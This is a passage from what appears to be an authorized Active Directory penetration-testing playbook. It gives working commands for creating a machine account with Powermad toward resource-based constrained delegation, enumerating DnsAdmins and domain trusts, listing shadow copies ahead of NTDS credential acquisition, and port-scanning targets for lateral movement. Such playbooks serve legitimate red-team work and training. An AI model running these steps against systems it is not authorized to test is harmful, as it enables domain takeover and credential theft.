Read: successful binding proves that mapped identity's LDAP context, not domain administration. The same object ACL still governs group/password/delegation writes. Certificate trust/mapping, TLS policy or a missing private key can block this route. Do not weaken workstation-wide TLS settings to compensate for an unexplained failure.

Sources: upstream 1.

Use from a suitable authenticated PowerShell context when the actual quota/delegation permits computer creation and the planned path needs an account/SPN you control. Account creation alone does not grant RBCD rights on another host.

Import-Module .\Powermad.ps1
$machinePassword = ConvertTo-SecureString 'MACHINE_PASSWORD' -AsPlainText -Force
New-MachineAccount -MachineAccount NEWPC -Password $machinePassword `
  -Domain DOMAIN -DomainController DC_HOST

Read: verify the created account, its SPNs and the chosen target-object permission separately. Quota, OU ACLs and existing names can stop the operation. Standard create rights do not necessarily permit deleting the created account later; establish the cleanup route and avoid repeated throwaway account creation.

Sources: upstream 1.

# Domain-joined source with the RSAT AD module and readable group membership
Get-ADGroupMember -Identity DnsAdmins -Recursive

:: Service queries use the current identity and can be denied separately
sc.exe \\DC_HOST qc DNS
sc.exe \\DC_HOST sdshow DNS

nltest /domain_trusts /all_trusts

# RSAT alternative; query the domain in the current authenticated context
Get-ADTrust -Filter * -Properties * |
    Format-List Name,Direction,TrustType,ForestTransitive,SelectiveAuthentication,SIDFilteringForestAware,SIDFilteringQuarantined

From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:

whoami /priv
vssadmin list shadows
diskshadow

At the DISKSHADOW> prompt:

list shadows all
exit

Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.

Directly routed source:

nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source:

Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

Record:

SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT